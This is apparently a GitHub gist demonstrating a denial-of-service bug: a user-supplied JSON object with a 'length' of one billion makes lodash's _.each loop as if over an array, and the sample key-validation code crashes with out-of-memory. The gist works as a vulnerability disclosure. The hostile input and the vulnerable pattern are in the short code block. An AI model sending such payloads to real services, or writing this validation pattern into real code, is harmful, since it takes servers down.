Skip to content

Instantly share code, notes, and snippets.

@syrnick
Last active March 9, 2017 20:25
Show Gist options
  • Save syrnick/f1eed31db3de3a3466213150b05e34c6 to your computer and use it in GitHub Desktop.
Save syrnick/f1eed31db3de3a3466213150b05e34c6 to your computer and use it in GitHub Desktop.
DOS via lodash _.each over user input
var _ = require('lodash');
// Assume user can send us JSON. E.g. we accept Content-type: application/json
var obj = {"keyFoo": "bar", "length": 1000000000};
var badKeys = [];
// Lets validate user keys:
_.each(obj, (v,k) => /^key/.test(k) || badKeys.push(k));
// expected
// badKeys is ["length"]
// actual
// crash with OOM
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment